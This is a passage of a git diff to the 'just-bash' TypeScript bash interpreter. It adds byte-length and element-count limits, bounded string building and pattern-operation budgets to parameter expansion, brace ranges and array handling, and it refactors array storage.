-      applyPatternRemoval(value, regexStr, op.side, op.greedy),
+      applyPatternRemoval(ctx, value, regexStr, op.side, op.greedy),
     );
   } else if (arrayOperation?.type === "PatternReplacement") {
     const op = arrayOperation as PatternReplacementOp;
diff --git a/packages/just-bash/src/interpreter/expansion/array-slice-transform.ts b/packages/just-bash/src/interpreter/expansion/array-slice-transform.ts
index dac42b5f..71a1786f 100644
--- a/packages/just-bash/src/interpreter/expansion/array-slice-transform.ts
+++ b/packages/just-bash/src/interpreter/expansion/array-slice-transform.ts
@@ -7,7 +7,8 @@
  */
 
 import type { SubstringOp, WordPart } from "../../ast/types.js";
-import { ArithmeticError, ExitError } from "../errors.js";
+import { utf8ByteLength } from "../../commands/printf/escapes.js";
+import { ArithmeticError, ExecutionLimitError, ExitError } from "../errors.js";
 import { getIfsSeparator } from "../helpers/ifs.js";
 import type { InterpreterContext } from "../types.js";
 import { expandPrompt } from "./prompt.js";
@@ -86,6 +87,12 @@ export async function handleArraySlicing(
 
   // Get array elements (sorted by index)
   const elements = getArrayElements(ctx, arrayName);
+  if (elements.length > ctx.limits.maxArrayElements) {
+    throw new ExecutionLimitError(
+      `array transform element limit exceeded (${ctx.limits.maxArrayElements})`,
+      "array_elements",
+    );
+  }
 
   // For sparse arrays, offset refers to index position, not element position
   // Find the first element whose index >= offset (or computed index for negative offset)
@@ -205,6 +212,12 @@ export function handleArrayTransform(
         default:
           resultValue = scalarValue;
       }
+      if (utf8ByteLength(resultValue) > ctx.limits.maxStringLength) {
+        throw new ExecutionLimitError(
+          `array transform string limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+          "string_length",
+        );
+      }
       return { values: [resultValue], quoted: true };
     }
     // Variable is unset
@@ -217,43 +230,55 @@ export function handleArrayTransform(
   // Get the attribute for this array (same for all elements)
   const arrayAttr = getVariableAttributes(ctx, arrayName);
 
-  // Transform each element based on operator
-  let transformedValues: string[];
-  switch (operation.operator) {
-    case "a":
-      // Return attribute letter for each element
-      // All elements of the same array have the same attribute
-      transformedValues = elements.map(() => arrayAttr);
-      break;
-    case "P":
-      // Apply prompt expansion to each element
-      transformedValues = elements.map(([, v]) => expandPrompt(ctx, v));
-      break;
-    case "Q":
-      // Quote each element
-      transformedValues = elements.map(([, v]) => quoteValue(v));
-      break;
-    case "u":
-      // Capitalize first character only (ucfirst)
-      transformedValues = elements.map(
-        ([, v]) => v.charAt(0).toUpperCase() + v.slice(1),
+  // Transform incrementally and account the aggregate retained strings.
+  const transformedValues: string[] = [];
+  let transformedBytes = 0;
+  for (const [, value] of elements) {
+    let transformed: string;
+    switch (operation.operator) {
+      case "a":
+        transformed = arrayAttr;
+        break;
+      case "P":
+        transformed = expandPrompt(ctx, value);
+        break;
+      case "Q":
+        transformed = quoteValue(value);
+        break;
+      case "u":
+        transformed = value.charAt(0).toUpperCase() + value.slice(1);
+        break;
+      case "U":
+        transformed = value.toUpperCase();
+        break;
+      case "L":
+        transformed = value.toLowerCase();
+        break;
+      default:
+        transformed = value;
+    }
+    const bytes = utf8ByteLength(transformed);
+    if (bytes > ctx.limits.maxStringLength - transformedBytes) {
+      throw new ExecutionLimitError(
+        `array transform string limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+        "string_length",
       );
-      break;
-    case "U":
-      // Uppercase all characters
-      transformedValues = elements.map(([, v]) => v.toUpperCase());
-      break;
-    case "L":
-      // Lowercase all characters
-      transformedValues = elements.map(([, v]) => v.toLowerCase());
-      break;
-    default:
-      transformedValues = elements.map(([, v]) => v);
+    }
+    transformedValues.push(transformed);
+    transformedBytes += bytes;
   }
 
   if (isStar) {
     // "${arr[*]@X}" - join all values with IFS into one word
     const ifsSep = getIfsSeparator(ctx.state.env);
+    const separatorBytes =
+      Math.max(0, transformedValues.length - 1) * utf8ByteLength(ifsSep);
+    if (separatorBytes > ctx.limits.maxStringLength - transformedBytes) {
+      throw new ExecutionLimitError(
+        `array transform string limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+        "string_length",
+      );
+    }
     return { values: [transformedValues.join(ifsSep)], quoted: true };
   }
 
diff --git a/packages/just-bash/src/interpreter/expansion/brace-range.ts b/packages/just-bash/src/interpreter/expansion/brace-range.ts
index d20dafbb..04b0de7d 100644
--- a/packages/just-bash/src/interpreter/expansion/brace-range.ts
+++ b/packages/just-bash/src/interpreter/expansion/brace-range.ts
@@ -5,11 +5,43 @@
  * These are pure functions with no external dependencies.
  */
 
-import { BraceExpansionError } from "../errors.js";
+import { utf8ByteLength } from "../../commands/printf/escapes.js";
+import { BraceExpansionError, ExecutionLimitError } from "../errors.js";
 
 // Maximum iterations for range expansion to prevent infinite loops
 const MAX_SAFE_RANGE_ITERATIONS = 10000;
 
+export interface BraceRangeLimits {
+  maxResults: number;
+  maxStringBytes: number;
+}
+
+const DEFAULT_RANGE_LIMITS: BraceRangeLimits = {
+  maxResults: MAX_SAFE_RANGE_ITERATIONS,
+  maxStringBytes: 10 * 1024 * 1024,
+};
+
+function pushRangeValue(
+  results: string[],
+  value: string,
+  limits: BraceRangeLimits,
+  aggregateBytes: { value: number },
+): boolean {
+  if (results.length >= limits.maxResults) {
+    return false;
+  }
+  const bytes = utf8ByteLength(value);
+  if (bytes > limits.maxStringBytes - aggregateBytes.value) {
+    throw new ExecutionLimitError(
+      `brace expansion string limit exceeded (${limits.maxStringBytes} bytes)`,
+      "string_length",
+    );
+  }
+  results.push(value);
+  aggregateBytes.value += bytes;
+  return true;
+}
+
 /**
  * Safely expand a numeric range with step, preventing infinite loops.
  * Returns array of string values, or null if the range is invalid.
@@ -25,6 +57,7 @@ function safeExpandNumericRange(
   rawStep: number | undefined,
   startStr?: string,
   endStr?: string,
+  limits: BraceRangeLimits = DEFAULT_RANGE_LIMITS,
 ): string[] | null {
   // Step of 0 is treated as 1 in bash
   let step = rawStep ?? 1;
@@ -43,6 +76,14 @@ function safeExpandNumericRange(
   if (endStr?.match(/^-?0\d/)) {
     padWidth = Math.max(padWidth, endStr.replace(/^-/, "").length);
   }
+  if (padWidth > limits.maxStringBytes) {
+    throw new ExecutionLimitError(
+      `brace expansion padding limit exceeded (${limits.maxStringBytes} bytes)`,
+      "string_length",
+    );
+  }
+
+  const aggregateBytes = { value: 0 };
 
   const formatNum = (n: number): string => {
     if (padWidth > 0) {
@@ -60,7 +101,7 @@ function safeExpandNumericRange(
       i <= end && count < MAX_SAFE_RANGE_ITERATIONS;
       i += absStep, count++
     ) {
-      results.push(formatNum(i));
+      if (!pushRangeValue(results, formatNum(i), limits, aggregateBytes)) break;
     }
   } else {
     // Descending range (start > end)
@@ -69,7 +110,7 @@ function safeExpandNumericRange(
       i >= end && count < MAX_SAFE_RANGE_ITERATIONS;
       i -= absStep, count++
     ) {
-      results.push(formatNum(i));
+      if (!pushRangeValue(results, formatNum(i), limits, aggregateBytes)) break;
     }
   }
 
@@ -90,6 +131,7 @@ function safeExpandCharRange(
   start: string,
   end: string,
   rawStep: number | undefined,
+  limits: BraceRangeLimits = DEFAULT_RANGE_LIMITS,
 ): string[] | null {
   // Step of 0 is treated as 1 in bash
   let step = rawStep ?? 1;
@@ -116,6 +158,7 @@ function safeExpandCharRange(
   }
 
   const results: string[] = [];
+  const aggregateBytes = { value: 0 };
 
   if (startCode <= endCode) {
     // Ascending range
@@ -124,7 +167,11 @@ function safeExpandCharRange(
       i <= endCode && count < MAX_SAFE_RANGE_ITERATIONS;
       i += absStep, count++
     ) {
-      results.push(String.fromCharCode(i));
+      if (
+        !pushRangeValue(results, String.fromCharCode(i), limits, aggregateBytes)
+      ) {
+        break;
+      }
     }
   } else {
     // Descending range
@@ -133,7 +180,11 @@ function safeExpandCharRange(
       i >= endCode && count < MAX_SAFE_RANGE_ITERATIONS;
       i -= absStep, count++
     ) {
-      results.push(String.fromCharCode(i));
+      if (
+        !pushRangeValue(results, String.fromCharCode(i), limits, aggregateBytes)
+      ) {
+        break;
+      }
     }
   }
 
@@ -160,11 +211,19 @@ export function expandBraceRange(
   step: number | undefined,
   startStr?: string,
   endStr?: string,
+  limits: BraceRangeLimits = DEFAULT_RANGE_LIMITS,
 ): BraceRangeResult {
   const stepPart = step !== undefined ? `..${step}` : "";
 
   if (typeof start === "number" && typeof end === "number") {
-    const expanded = safeExpandNumericRange(start, end, step, startStr, endStr);
+    const expanded = safeExpandNumericRange(
+      start,
+      end,
+      step,
+      startStr,
+      endStr,
+      limits,
+    );
     return {
       expanded,
       literal: `{${start}..${end}${stepPart}}`,
@@ -172,7 +231,7 @@ export function expandBraceRange(
   }
 
   if (typeof start === "string" && typeof end === "string") {
-    const expanded = safeExpandCharRange(start, end, step);
+    const expanded = safeExpandCharRange(start, end, step, limits);
     return {
       expanded,
       literal: `{${start}..${end}${stepPart}}`,
diff --git a/packages/just-bash/src/interpreter/expansion/indirect-expansion.ts b/packages/just-bash/src/interpreter/expansion/indirect-expansion.ts
index 20ef8ed6..435ec6ba 100644
--- a/packages/just-bash/src/interpreter/expansion/indirect-expansion.ts
+++ b/packages/just-bash/src/interpreter/expansion/indirect-expansion.ts
@@ -21,6 +21,7 @@ import type {
 } from "../../ast/types.js";
 import { evaluateArithmetic } from "../arithmetic.js";
 import { ArithmeticError } from "../errors.js";
+import { setArrayElement } from "../helpers/array.js";
 import { getIfsSeparator } from "../helpers/ifs.js";
 import type { InterpreterContext } from "../types.js";
 import { getArrayElements, getVariable, isVariableSet } from "./variable.js";
@@ -341,8 +342,7 @@ async function handleIndirectArrayDefaultAlternative(
         true,
       );
       // Assign to the target array
-      ctx.state.env.set(`${arrayName}_0`, assignValue);
-      ctx.state.env.set(`${arrayName}__length`, "1");
+      setArrayElement(ctx, arrayName, 0, assignValue);
       return { values: [assignValue], quoted: true };
     }
     if (isStar) {
diff --git a/packages/just-bash/src/interpreter/expansion/parameter-ops.ts b/packages/just-bash/src/interpreter/expansion/parameter-ops.ts
index 1ae6f093..5005287c 100644
--- a/packages/just-bash/src/interpreter/expansion/parameter-ops.ts
+++ b/packages/just-bash/src/interpreter/expansion/parameter-ops.ts
@@ -30,12 +30,17 @@ import {
   ExecutionLimitError,
   ExitError,
 } from "../errors.js";
+import { getArrayElement, setArrayElement } from "../helpers/array.js";
 import { getIfsSeparator } from "../helpers/ifs.js";
 import { getNamerefTarget, isNameref } from "../helpers/nameref.js";
 import { escapeRegex } from "../helpers/regex.js";
 import type { InterpreterContext } from "../types.js";
 import { patternToRegex } from "./pattern.js";
-import { getVarNamesWithPrefix } from "./pattern-removal.js";
+import {
+  applyPatternRemoval,
+  getVarNamesWithPrefix,
+} from "./pattern-removal.js";
+import { applyPatternReplacementBounded } from "./pattern-replacement.js";
 import { expandPrompt } from "./prompt.js";
 import { quoteValue } from "./quoting.js";
 import { getArrayElements, getVariable, isArray } from "./variable.js";
@@ -138,15 +143,7 @@ export async function handleAssignDefault(
         if (Number.isNaN(index)) index = 0;
       }
       // Set array element
-      ctx.state.env.set(`${arrayName}_${index}`, defaultValue);
-      // Update array length if needed
-      const currentLength = Number.parseInt(
-        ctx.state.env.get(`${arrayName}__length`) || "0",
-        10,
-      );
-      if (index >= currentLength) {
-        ctx.state.env.set(`${arrayName}__length`, String(index + 1));
-      }
+      setArrayElement(ctx, arrayName, index, defaultValue);
     } else {
       ctx.state.env.set(parameter, defaultValue);
     }
@@ -240,21 +237,13 @@ export async function handlePatternRemoval(
     }
   }
 
-  // Use 's' flag (dotall) so that . matches newlines (bash ? matches any char including newline)
-  if (operation.side === "prefix") {
-    return createUserRegex(`^${regexStr}`, "s").replace(value, "");
-  }
-  const regex = createUserRegex(`${regexStr}$`, "s");
-  if (operation.greedy) {
-    return regex.replace(value, "");
-  }
-  for (let i = value.length; i >= 0; i--) {
-    const suffix = value.slice(i);
-    if (regex.test(suffix)) {
-      return value.slice(0, i);
-    }
-  }
-  return value;
+  return applyPatternRemoval(
+    ctx,
+    value,
+    regexStr,
+    operation.side,
+    operation.greedy,
+  );
 }
 
 /**
@@ -314,35 +303,13 @@ export async function handlePatternReplacement(
 
   try {
     const re = createUserRegex(regex, flags);
-    if (operation.all) {
-      let result = "";
-      let lastIndex = 0;
-      let iterCount = 0;
-      const maxStringLen = ctx.limits.maxStringLength;
-      let match: RegExpExecArray | null = re.exec(value);
-      while (match !== null) {
-        if (match[0].length === 0 && match.index === value.length) {
-          break;
-        }
-        result += value.slice(lastIndex, match.index) + replacement;
-        lastIndex = match.index + match[0].length;
-        if (match[0].length === 0) {
-          lastIndex++;
-        }
-        // Check string length every 100 iterations to catch runaway growth
-        iterCount++;
-        if (iterCount % 100 === 0 && result.length > maxStringLen) {
-          throw new ExecutionLimitError(
-            `pattern replacement: string length limit exceeded (${maxStringLen} bytes)`,
-            "string_length",
-          );
-        }
-        match = re.exec(value);
-      }
-      result += value.slice(lastIndex);
-      return result;
-    }
-    return re.replace(value, replacement);
+    return applyPatternReplacementBounded(
+      ctx,
+      value,
+      re,
+      replacement,
+      operation.all,
+    );
   } catch (e) {
     if (e instanceof ExecutionLimitError) {
       throw e;
@@ -389,7 +356,7 @@ export function handleLength(
         firstElement !== undefined ? [...String(firstElement)].length : 0,
       );
     }
-    const firstElement = ctx.state.env.get(`${parameter}_0`) || "";
+    const firstElement = getArrayElement(ctx, parameter, 0) || "";
     return String([...firstElement].length);
   }
   // Use spread to count Unicode code points, not UTF-16 code units
diff --git a/packages/just-bash/src/interpreter/expansion/pattern-expansion.ts b/packages/just-bash/src/interpreter/expansion/pattern-expansion.ts
index 1baabcc3..94f3ad81 100644
--- a/packages/just-bash/src/interpreter/expansion/pattern-expansion.ts
+++ b/packages/just-bash/src/interpreter/expansion/pattern-expansion.ts
@@ -8,6 +8,7 @@
 import type { ScriptNode } from "../../ast/types.js";
 import { Parser } from "../../parser/parser.js";
 import { ExecutionLimitError, ExitError } from "../errors.js";
+import { cloneArrays } from "../helpers/array.js";
 import type { InterpreterContext } from "../types.js";
 import { escapeGlobChars } from "./glob-escape.js";
 
@@ -118,6 +119,7 @@ async function executeCommandSubstitutionFromString(
   const savedBashPid = ctx.state.bashPid;
   ctx.state.bashPid = ctx.state.nextVirtualPid++;
   const savedEnv = new Map(ctx.state.env);
+  const savedArrays = cloneArrays(ctx.state.arrays);
   const savedCwd = ctx.state.cwd;
   const savedSuppressVerbose = ctx.state.suppressVerbose;
   ctx.state.suppressVerbose = true;
@@ -127,6 +129,7 @@ async function executeCommandSubstitutionFromString(
     // Restore environment but preserve exit code
     const exitCode = result.exitCode;
     ctx.state.env = savedEnv;
+    ctx.state.arrays = savedArrays;
     ctx.state.cwd = savedCwd;
     ctx.state.suppressVerbose = savedSuppressVerbose;
     ctx.state.lastExitCode = exitCode;
@@ -139,6 +142,7 @@ async function executeCommandSubstitutionFromString(
     return result.stdout.replace(/\n+$/, "");
   } catch (error) {
     ctx.state.env = savedEnv;
+    ctx.state.arrays = savedArrays;
     ctx.state.cwd = savedCwd;
     ctx.state.bashPid = savedBashPid;
     ctx.state.suppressVerbose = savedSuppressVerbose;
diff --git a/packages/just-bash/src/interpreter/expansion/pattern-removal.ts b/packages/just-bash/src/interpreter/expansion/pattern-removal.ts
index f8e78e30..a993bfad 100644
--- a/packages/just-bash/src/interpreter/expansion/pattern-removal.ts
+++ b/packages/just-bash/src/interpreter/expansion/pattern-removal.ts
@@ -12,6 +12,7 @@ import type { InterpreterContext } from "../types.js";
  * Used by both scalar and vectorized array operations.
  */
 export function applyPatternRemoval(
+  ctx: InterpreterContext,
   value: string,
   regexStr: string,
   side: "prefix" | "suffix",
@@ -19,6 +20,12 @@ export function applyPatternRemoval(
 ): string {
   // Use 's' flag (dotall) so that . matches newlines (bash ? matches any char including newline)
   if (side === "prefix") {
+    ctx.executionScope.consumeLimited(
+      "pattern-removal",
+      Math.max(1, value.length),
+      ctx.limits.maxGlobOperations,
+      "pattern removal",
+    );
     // Prefix removal: greedy matches longest from start, non-greedy matches shortest
     return createUserRegex(`^${regexStr}`, "s").replace(value, "");
   }
@@ -26,82 +33,45 @@ export function applyPatternRemoval(
   // the rightmost (shortest) or leftmost (longest) match
   const regex = createUserRegex(`${regexStr}$`, "s");
   if (greedy) {
+    ctx.executionScope.consumeLimited(
+      "pattern-removal",
+      Math.max(1, value.length),
+      ctx.limits.maxGlobOperations,
+      "pattern removal",
+    );
     // %% - longest match: use regex directly (finds leftmost match)
     return regex.replace(value, "");
   }
-  // % - shortest match: find rightmost position where pattern matches to end
-  for (let i = value.length; i >= 0; i--) {
-    const suffix = value.slice(i);
-    if (regex.test(suffix)) {
-      return value.slice(0, i);
-    }
-  }
-  return value;
+  // % - let a greedy prefix consume as much as possible, leaving the shortest
+  // suffix that satisfies the user's pattern. This avoids the old quadratic
+  // loop over every copied suffix while preserving Bash's rightmost match.
+  ctx.executionScope.consumeLimited(
+    "pattern-removal",
+    Math.max(1, value.length),
+    ctx.limits.maxGlobOperations,
+    "pattern removal",
+  );
+  const shortest = createUserRegex(`^(?:.*)(${regexStr})$`, "s").exec(value);
+  if (!shortest) return value;
+  const suffix = shortest[1] ?? "";
+  return value.slice(0, value.length - suffix.length);
 }
 
 /**
  * Get variable names that match a given prefix.
  * Used for ${!prefix*} and ${!prefix@} expansions.
- * Handles arrays properly - includes array base names from __length markers,
- * excludes internal storage keys like arr_0, arr__length.
+ * Includes names from both the scalar and structured-array namespaces.
  */
 export function getVarNamesWithPrefix(
   ctx: InterpreterContext,
   prefix: string,
 ): string[] {
-  const envKeys = Array.from(ctx.state.env.keys());
   const matchingVars = new Set<string>();
-
-  // Get sets of array names for filtering
-  const assocArrays = ctx.state.associativeArrays ?? new Set<string>();
-  const indexedArrays = new Set<string>();
-  // Find indexed arrays by looking for _\d+$ patterns
-  for (const k of envKeys) {
-    const match = k.match(/^([a-zA-Z_][a-zA-Z0-9_]*)_\d+$/);
-    if (match) {
-      indexedArrays.add(match[1]);
-    }
-    const lengthMatch = k.match(/^([a-zA-Z_][a-zA-Z0-9_]*)__length$/);
-    if (lengthMatch) {
-      indexedArrays.add(lengthMatch[1]);
-    }
+  for (const name of ctx.state.env.keys()) {
+    if (name.startsWith(prefix)) matchingVars.add(name);
   }
-
-  // Helper to check if a key is an associative array element
-  const isAssocArrayElement = (key: string): boolean => {
-    for (const arrayName of assocArrays) {
-      const elemPrefix = `${arrayName}_`;
-      if (key.startsWith(elemPrefix) && key !== arrayName) {
-        return true;
-      }
-    }
-    return false;
-  };
-
-  for (const k of envKeys) {
-    if (k.startsWith(prefix)) {
-      // Check if this is an internal array storage key
-      if (k.includes("__")) {
-        // For __length markers, add the base array name
-        const lengthMatch = k.match(/^([a-zA-Z_][a-zA-Z0-9_]*)__length$/);
-        if (lengthMatch?.[1].startsWith(prefix)) {
-          matchingVars.add(lengthMatch[1]);
-        }
-        // Skip other internal markers
-      } else if (/_\d+$/.test(k)) {
-        // Skip indexed array element storage (arr_0)
-        // But add the base array name if it matches
-        const match = k.match(/^([a-zA-Z_][a-zA-Z0-9_]*)_\d+$/);
-        if (match?.[1].startsWith(prefix)) {
-          matchingVars.add(match[1]);
-        }
-      } else if (isAssocArrayElement(k)) {
-        // Skip associative array elements
-      } else {
-        // Regular variable
-        matchingVars.add(k);
-      }
-    }
+  for (const name of ctx.state.arrays?.keys() ?? []) {
+    if (name.startsWith(prefix)) matchingVars.add(name);
   }
 
   return [...matchingVars].sort();
diff --git a/packages/just-bash/src/interpreter/expansion/pattern-replacement.ts b/packages/just-bash/src/interpreter/expansion/pattern-replacement.ts
new file mode 100644
index 00000000..51056b56
--- /dev/null
+++ b/packages/just-bash/src/interpreter/expansion/pattern-replacement.ts
@@ -0,0 +1,56 @@
+import { BoundedStringBuilder } from "../../bounded-builder.js";
+import type { RegexLike } from "../../regex/index.js";
+import { ExecutionLimitError } from "../errors.js";
+import type { InterpreterContext } from "../types.js";
+
+/** Build a regex replacement prospectively without an unbounded host replace. */
+export function applyPatternReplacementBounded(
+  ctx: InterpreterContext,
+  value: string,
+  regex: RegexLike,
+  replacement: string,
+  replaceAll: boolean,
+): string {
+  const output = new BoundedStringBuilder(
+    ctx.limits.maxStringLength,
+    "pattern replacement",
+    () =>
+      new ExecutionLimitError(
+        `pattern replacement: string length limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+        "string_length",
+      ),
+  );
+  regex.lastIndex = 0;
+  let lastIndex = 0;
+  let match = regex.exec(value);
+
+  while (match !== null) {
+    ctx.executionScope.consumeLimited(
+      "pattern_operations",
+      1,
+      ctx.limits.maxGlobOperations,
+      "pattern replacement",
+    );
+    // A global greedy pattern can report a second empty match at EOF. Bash
+    // does not apply another replacement there.
+    if (replaceAll && match[0].length === 0 && match.index === value.length) {
+      break;
+    }
+    output.append(value.slice(lastIndex, match.index));
+    output.append(replacement);
+    lastIndex = match.index + match[0].length;
+
+    if (!replaceAll) break;
+    if (match[0].length === 0) {
+      // Preserve the previous implementation's progress rule and also move
+      // engines that do not advance lastIndex after an empty match.
+      lastIndex++;
+      if (regex.lastIndex <= match.index) regex.lastIndex = match.index + 1;
+    }
+    match = regex.exec(value);
+  }
+
+  output.append(value.slice(lastIndex));
+  regex.lastIndex = 0;
+  return output.build();
+}
diff --git a/packages/just-bash/src/interpreter/expansion/positional-params.ts b/packages/just-bash/src/interpreter/expansion/positional-params.ts
index 02c84fcf..5b75229d 100644
--- a/packages/just-bash/src/interpreter/expansion/positional-params.ts
+++ b/packages/just-bash/src/interpreter/expansion/positional-params.ts
@@ -14,7 +14,9 @@ import type {
   WordNode,
   WordPart,
 } from "../../ast/types.js";
+import { utf8ByteLength } from "../../commands/printf/escapes.js";
 import { createUserRegex } from "../../regex/index.js";
+import { ExecutionLimitError } from "../errors.js";
 import { getIfsSeparator } from "../helpers/ifs.js";
 import { escapeRegex } from "../helpers/regex.js";
 import type { InterpreterContext } from "../types.js";
@@ -62,13 +64,66 @@ export type ExpandWordPartsAsyncFn = (
  */
 function getPositionalParams(ctx: InterpreterContext): string[] {
   const numParams = Number.parseInt(ctx.state.env.get("#") || "0", 10);
+  if (numParams > ctx.limits.maxArrayElements) {
+    throw new ExecutionLimitError(
+      `positional parameter element limit exceeded (${ctx.limits.maxArrayElements})`,
+      "array_elements",
+    );
+  }
   const params: string[] = [];
+  let bytes = 0;
   for (let i = 1; i <= numParams; i++) {
-    params.push(ctx.state.env.get(String(i)) || "");
+    const value = ctx.state.env.get(String(i)) || "";
+    const valueBytes = utf8ByteLength(value);
+    if (valueBytes > ctx.limits.maxStringLength - bytes) {
+      throw new ExecutionLimitError(
+        `positional parameter string limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+        "string_length",
+      );
+    }
+    params.push(value);
+    bytes += valueBytes;
   }
   return params;
 }
 
+function appendBounded(
+  current: string,
+  fragment: string,
+  maxBytes: number,
+): string {
+  if (utf8ByteLength(fragment) > maxBytes - utf8ByteLength(current)) {
+    throw new ExecutionLimitError(
+      `positional expansion string limit exceeded (${maxBytes} bytes)`,
+      "string_length",
+    );
+  }
+  return current + fragment;
+}
+
+function pushBounded(
+  values: string[],
+  value: string,
+  usedBytes: { value: number },
+  ctx: InterpreterContext,
+): void {
+  if (values.length >= ctx.limits.maxArrayElements) {
+    throw new ExecutionLimitError(
+      `positional expansion element limit exceeded (${ctx.limits.maxArrayElements})`,
+      "array_elements",
+    );
+  }
+  const bytes = utf8ByteLength(value);
+  if (bytes > ctx.limits.maxStringLength - usedBytes.value) {
+    throw new ExecutionLimitError(
+      `positional expansion string limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+      "string_length",
+    );
+  }
+  values.push(value);
+  usedBytes.value += bytes;
+}
+
 /**
  * Handle "${@:offset}" and "${*:offset}" with Substring operations inside double quotes
  * "${@:offset}": Each sliced positional parameter becomes a separate word
@@ -251,13 +306,21 @@ export async function handlePositionalPatternReplacement(
   // Expand prefix (parts before ${@/...})
   let prefix = "";
   for (let i = 0; i < patReplAtIndex; i++) {
-    prefix += await expandPart(ctx, dqPart.parts[i]);
+    prefix = appendBounded(
+      prefix,
+      await expandPart(ctx, dqPart.parts[i]),
+      ctx.limits.maxStringLength,
+    );
   }
 
   // Expand suffix (parts after ${@/...})
   let suffix = "";
   for (let i = patReplAtIndex + 1; i < dqPart.parts.length; i++) {
-    suffix += await expandPart(ctx, dqPart.parts[i]);
+    suffix = appendBounded(
+      suffix,
+      await expandPart(ctx, dqPart.parts[i]),
+      ctx.limits.maxStringLength,
+    );
   }
 
   if (params.length === 0) {
@@ -310,19 +373,63 @@ export async function handlePositionalPatternReplacement(
 
   // Apply replacement to each param
   const replacedParams: string[] = [];
+  const replacedBytes = { value: 0 };
   try {
     const re = createUserRegex(regexPattern, operation.all ? "g" : "");
     for (const param of params) {
-      replacedParams.push(re.replace(param, replacement));
+      // Count matches first and reject a conservative upper bound before the
+      // regex engine constructs an amplified replacement string.
+      let matchCount = 0;
+      re.lastIndex = 0;
+      for (let match = re.exec(param); match; match = re.exec(param)) {
+        matchCount++;
+        if (!operation.all) break;
+        if (match[0].length === 0) re.lastIndex++;
+      }
+      const paramBytes = utf8ByteLength(param);
+      const replacementBytes = utf8ByteLength(replacement);
+      let referenceCount = 0;
+      const referencePattern = /\$(?:\$|&|\d+|<[^>]+>|`|')/g;
+      while (referencePattern.exec(replacement) !== null) referenceCount++;
+      const upperBound =
+        paramBytes +
+        matchCount * replacementBytes +
+        matchCount * referenceCount * paramBytes;
+      if (upperBound > ctx.limits.maxStringLength - replacedBytes.value) {
+        throw new ExecutionLimitError(
+          `positional expansion string limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+          "string_length",
+        );
+      }
+      pushBounded(
+        replacedParams,
+        re.replace(param, replacement),
+        replacedBytes,
+        ctx,
+      );
     }
-  } catch {
+  } catch (error) {
+    if (error instanceof ExecutionLimitError) throw error;
     // Invalid regex - return params unchanged
-    replacedParams.push(...params);
+    for (const param of params) {
+      pushBounded(replacedParams, param, replacedBytes, ctx);
+    }
   }
 
   if (patReplIsStar) {
     // "${*/...}" - join all params with IFS into one word
     const ifsSep = getIfsSeparator(ctx.state.env);
+    const joinBytes =
+      replacedBytes.value +
+      Math.max(0, replacedParams.length - 1) * utf8ByteLength(ifsSep) +
+      utf8ByteLength(prefix) +
+      utf8ByteLength(suffix);
+    if (joinBytes > ctx.limits.maxStringLength) {
+      throw new ExecutionLimitError(
+        `positional expansion string limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+        "string_length",
+      );
+    }
     return {
       values: [prefix + replacedParams.join(ifsSep) + suffix],
       quoted: true,
@@ -330,6 +437,15 @@ export async function handlePositionalPatternReplacement(
   }
 
   // "${@/...}" - each param is a separate word
+  if (
+    utf8ByteLength(prefix) + replacedBytes.value + utf8ByteLength(suffix) >
+    ctx.limits.maxStringLength
+  ) {
+    throw new ExecutionLimitError(
+      `positional expansion string limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+      "string_length",
+    );
+  }
   if (replacedParams.length === 1) {
     return {
       values: [prefix + replacedParams[0] + suffix],
@@ -397,13 +513,21 @@ export async function handlePositionalPatternRemoval(
   // Expand prefix (parts before ${@#...})
   let prefix = "";
   for (let i = 0; i < patRemAtIndex; i++) {
-    prefix += await expandPart(ctx, dqPart.parts[i]);
+    prefix = appendBounded(
+      prefix,
+      await expandPart(ctx, dqPart.parts[i]),
+      ctx.limits.maxStringLength,
+    );
   }
 
   // Expand suffix (parts after ${@#...})
   let suffix = "";
   for (let i = patRemAtIndex + 1; i < dqPart.parts.length; i++) {
-    suffix += await expandPart(ctx, dqPart.parts[i]);
+    suffix = appendBounded(
+      suffix,
+      await expandPart(ctx, dqPart.parts[i]),
+      ctx.limits.maxStringLength,
+    );
   }
 
   if (params.length === 0) {
@@ -437,15 +561,36 @@ export async function handlePositionalPatternRemoval(
 
   // Apply pattern removal to each param
   const strippedParams: string[] = [];
+  const strippedBytes = { value: 0 };
   for (const param of params) {
-    strippedParams.push(
-      applyPatternRemoval(param, regexStr, operation.side, operation.greedy),
+    pushBounded(
+      strippedParams,
+      applyPatternRemoval(
+        ctx,
+        param,
+        regexStr,
+        operation.side,
+        operation.greedy,
+      ),
+      strippedBytes,
+      ctx,
     );
   }
 
   if (patRemIsStar) {
     // "${*#...}" - join all params with IFS into one word
     const ifsSep = getIfsSeparator(ctx.state.env);
+    const joinBytes =
+      strippedBytes.value +
+      Math.max(0, strippedParams.length - 1) * utf8ByteLength(ifsSep) +
+      utf8ByteLength(prefix) +
+      utf8ByteLength(suffix);
+    if (joinBytes > ctx.limits.maxStringLength) {
+      throw new ExecutionLimitError(
+        `positional expansion string limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+        "string_length",
+      );
+    }
     return {
       values: [prefix + strippedParams.join(ifsSep) + suffix],
       quoted: true,
@@ -453,6 +598,15 @@ export async function handlePositionalPatternRemoval(
   }
 
   // "${@#...}" - each param is a separate word
+  if (
+    utf8ByteLength(prefix) + strippedBytes.value + utf8ByteLength(suffix) >
+    ctx.limits.maxStringLength
+  ) {
+    throw new ExecutionLimitError(
+      `positional expansion string limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+      "string_length",
+    );
+  }
   if (strippedParams.length === 1) {
     return {
       values: [prefix + strippedParams[0] + suffix],
diff --git a/packages/just-bash/src/interpreter/expansion/prompt.ts b/packages/just-bash/src/interpreter/expansion/prompt.ts
index 0b231050..2285bde6 100644
--- a/packages/just-bash/src/interpreter/expansion/prompt.ts
+++ b/packages/just-bash/src/interpreter/expansion/prompt.ts
@@ -4,13 +4,37 @@
  * Handles prompt escape sequences for ${var@P} transformation and PS1/PS2/PS3/PS4.
  */
 
+import { utf8ByteLength } from "../../commands/printf/escapes.js";
+import { ExecutionLimitError } from "../errors.js";
 import type { InterpreterContext } from "../types.js";
 
+function boundedAppender(maxBytes: number): {
